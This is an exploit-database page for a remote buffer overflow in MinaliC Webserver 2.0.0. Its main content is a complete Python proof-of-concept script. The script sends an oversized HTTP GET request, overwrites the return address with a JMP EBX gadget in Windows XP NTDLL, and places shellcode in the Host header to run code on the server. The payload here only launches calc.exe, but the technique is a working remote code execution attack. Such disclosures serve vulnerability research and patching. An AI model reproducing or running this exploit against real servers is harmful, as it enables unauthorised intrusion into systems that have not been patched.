MinaliC Webserver 2.0.0 Buffer Overflow

2013.04.15
Credit: superkojiman
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

import socket import struct # 74 bytes calc.exe from http://code.google.com/p/win-exec-calc-shellcode/ shellcode = ( "\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72" + "\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f" + "\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24" + "\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45" + "\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7\xcc" ) # EIP at offset 245 when minalic.exe is in C:\minalic\bin # EBX points directly to the "Host:" value, so we put our shellcode there. # JMP EBX @ 0x7C955B47, NTDLL.DLL, Windows XP Pro SP2 English junk = "\x41" * 245 ret = struct.pack("<I", 0x7C955B47) host = "\x90" * 30 + shellcode + "\x90" * 31 buf = "GET /" + junk + ret + " HTTP/1.1\r\n" + "Host: " + host + "\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.37.132", 8080)) s.send(buf)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top